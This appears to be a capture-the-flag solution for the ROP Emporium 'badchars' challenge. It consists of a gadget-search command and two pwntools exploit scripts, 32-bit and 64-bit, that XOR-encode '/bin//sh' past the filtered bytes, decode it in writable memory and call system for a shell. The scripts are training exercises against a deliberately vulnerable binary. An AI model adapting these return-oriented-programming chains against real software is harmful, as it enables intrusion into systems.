ROP_emporium-2

ROPgadget --binary ./badchars32 --only 'pop|mov|xor|ret'

#encoding:utf-8
from pwn import *

sh = process('./badchars32')

mov_edi_esi = 0x08048893
pop_edi_esi = 0x08048899
pop_ebx_ecx = 0x08048896
xor_ebx = 0x08048890

sys_addr = 0x080484E0
bss_addr = 0x0804a040

#加密
binsh = "/bin//sh"
xorbinsh = ''
for i in binsh:
    xorbinsh += chr(ord(i)^3)

#32位一次只能传入4个字符，所以要分两次传入
#第一次传入参数
payload  = 'a'*44
payload += p32(pop_edi_esi)
payload += xorbinsh[0:4]
payload += p32(bss_addr)
payload += p32(mov_edi_esi)

#第二次传入参数
payload += p32(pop_edi_esi)
payload += xorbinsh[4:8]
payload += p32(bss_addr+4)
payload += p32(mov_edi_esi)

#加密桡过了badchars，所以接下来就是解密，然后通过system函数调用
# 解密函数
for x in range(0,len(xorbinsh)):
    payload += p32(pop_ebx_ecx)
    payload += p32(bss_addr+int(x))
    payload += p32(3)
    payload += p32(xor_ebx)

#调用system执行传入参数
payload += p32(sys_addr)
payload += p32(0)
payload += p32(bss_addr)
#print(payload)

sh.sendline(payload)
sh.interactive()

#encoding:utf-8
from pwn import *

sh = process('./badchars')

pop_r12_r13 = 0x0000000000400b3b
mov_r12_r13 = 0x0000000000400b34
pop_r14_r15 = 0x0000000000400b40
xor_r14_r15 = 0x0000000000400b30
pop_rdi = 0x0000000000400b39
sys_addr = 0x04006F0
bss_addr = 0x0601080

#加密
binsh = "/bin//sh"
xorbinsh = ''
for i in binsh:
    xorbinsh += chr(ord(i)^3)

payload  = 'a' * 40
payload += p64(pop_r12_r13)
payload += xorbinsh
payload += p64(bss_addr)
payload += p64(mov_r12_r13)
#print payload
#解密
for x in range(0,len(xorbinsh)):
    payload += p64(pop_r14_r15)
    payload += p64(3)
    payload += p64(bss_addr+int(x))
    payload += p64(xor_r14_r15)

payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(sys_addr)


sh.sendline(payload)
sh.interactive()